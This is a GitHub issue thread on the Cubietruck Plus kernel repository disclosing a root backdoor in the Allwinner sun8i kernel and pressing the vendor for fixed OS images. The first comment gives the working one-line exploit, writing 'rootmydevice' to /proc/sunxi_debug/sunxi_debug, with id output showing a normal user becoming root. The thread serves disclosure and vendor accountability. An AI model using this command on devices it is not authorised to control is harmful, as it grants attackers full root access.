Local privileges escalation on sun8i

ThomasKaiser commented 8 years ago

Are you affected too?

tk@bananapim3:~$ id
uid=1000(tk) gid=1000(tk) groups=1000(tk),20(dialout),27(sudo),29(audio),44(video),46(plugdev),108(netdev)
tk@bananapim3:~$ echo "rootmydevice" > /proc/sunxi_debug/sunxi_debug 
tk@bananapim3:~$ id
uid=0(root) gid=0(root) groups=0(root),20(dialout),27(sudo),29(audio),44(video),46(plugdev),108(netdev),1000(tk)

ThomasKaiser commented 8 years ago

Congratulations. By ignoring this that long you might also get some individual media attention soon: http://www.theregister.co.uk/2016/05/09/allwinners_allloser_custom_kernel_has_a_nasty_root_backdoor

sunbeyond40 commented 8 years ago

Hi ThomasKaiser, thanks for your notice. that is a serious problem.we have change the code to avoid it .

ThomasKaiser commented 8 years ago

How many of your Cubietruck Plus customers are still affected by this exploit? Did you inform them, provide a new kernel package and new OS images?

sunbeyond40 commented 8 years ago

Of course, a new image is neccecssary to replace the old image, we are doing it in these days.

SeeMirra commented 8 years ago

Any updates on the new image?

ThomasKaiser commented 7 years ago

Any updates on the new image?

Just checked on https://mega.nz/#F!0gREnYCQ!dBuYl9YgMP8r2Diw_BuStg!MlI0VZhA

CB5 images are dated back to 2016-04-11 which was 3 weeks before I reported the rootmydevice vulnerability to Cubietech:

 macbookpro-tk:~ tk$ 7z l /Users/tk/Downloads/linaro-server-cubietruck-plus-card-hdmi-v1.0.img.7z 

 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
 p7zip Version 16.02 (locale=utf8,Utf16=on,HugeFiles=on,64 bits,4 CPUs x64)

 Scanning the drive for archives:
 1 file, 180786642 bytes (173 MiB)

 Listing archive: /Users/tk/Downloads/linaro-server-cubietruck-plus-card-hdmi-v1.0.img.7z

 --
 Path = /Users/tk/Downloads/linaro-server-cubietruck-plus-card-hdmi-v1.0.img.7z
 Type = 7z
 Physical Size = 180786642
 Headers Size = 199
 Method = LZMA:24
 Solid = -
 Blocks = 1

    Date      Time    Attr         Size   Compressed  Name
 ------------------- ----- ------------ ------------  ------------------------
 2016-04-11 09:59:49 ....A    889192448    180786443  linaro-server-cubietruck-plus-card-hdmi-v1.0.img
 ------------------- ----- ------------ ------------  ------------------------
 2016-04-11 09:59:49          889192448    180786443  1 files

ThomasKaiser commented 7 years ago

Issue archived: https://archive.is/AXdsN

SeeMirra commented 7 years ago

https://www.youtube.com/watch?v=Xpugp6DIb3I

cubieboard / Cubietruck_Plus-kernel-source

Local privileges escalation on sun8i #2